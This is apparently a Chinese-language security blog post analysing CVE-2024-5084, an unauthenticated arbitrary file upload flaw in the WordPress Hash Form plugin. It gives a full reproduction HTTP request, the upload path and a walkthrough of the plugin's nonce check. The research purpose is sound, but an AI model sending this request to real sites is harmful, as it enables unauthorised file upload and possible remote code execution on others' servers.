0%

WordPress的Hash表单任意文件上传漏洞&分析(CVE-2024-5084)

漏洞描述

WordPress的Hash表单 - 拖放表单构建器插件由于在所有版本中缺失’file_upload_action’函数中的文件类型验证,存在任意文件上传漏洞,包括1.1.0版本。这使得未经身份验证的攻击者可以在受影响站点的服务器上上传任意文件,可能导致远程代码执行。

影响版本

<= 1.1.0 版本

漏洞复现

先在目标网站的源码中找到ajax_nounce

image-20240711094834479

然后发送如下请求包

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /wp-admin/admin-ajax.php?action=hashform_file_upload_action&file_uploader_nonce=9aa0cc0333&allowedExtensions%5B0%5D=txt&sizeLimit=1048576&qqfile=ycx.txt HTTP/1.1
Host: IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=1

123456

然后请求

1
http://x.x.x.x/wp-content/uploads/hashform/temp/ycx.txt

image-20240711095010044

漏洞分析

在本地环境复现时,并未成功,于是进行如下调试

根据漏洞描述,全局搜索一下file_upload_action函数

找到wordpress/wp-content/plugins/hash-form/admin/classes/HashFormBuilder.php

image-20240711105059632

关键点主要是第一段代码

1
2
3
if (!wp_verify_nonce(HashFormHelper::get_var('file_uploader_nonce'), 'hashform-upload-ajax-nonce')) {
die();
}

对我们传入的file_uploader_nonce进行一个验证,如果验证通过,则会进行文件上传操作,否则die掉这个进程,初步调试就发现我在源码里面获取的ajax_nounce无法通过该if条件,我们继续看一下逻辑

跟进wp_verify_nonce函数

image-20240711105510312

往下走会到这里

image-20240711105641287

这个excepted变量就是期望的变量,我们传入的file_uploader_nonce必须与其一致才能进入下一步,我们看看i变量是如何获取的

image-20240711110041250

这段代码主要就是返回计算当前时间相对于一天的一半时间(43,200 秒)的倍数,并将结果向上取整。通俗点说就是能生成一个大约持续半天的令牌,在这半天内,i变量的值都是不会改变的

随后调用mp_hash函数生成md5

image-20240711110400593

了解了后端是怎么生成nounce的,我们再看看我们在前端获取的ajax_nounce是如何生成的

还是全局搜索一下ajax_nounce,找到wordpress/wp-includes/pluggable.php

image-20240711111622488

发现tocken这些基本都不一样,token可以通过删除让两者一致,但action变量有点奇怪,居然是wp_rest,也就导致了两者不一样。其实最后调试下来感觉影响不是很大,只要你知道目标版本(可在源码中看到),然后在本地调试一下就能获取nounce了。

image-20240711112022820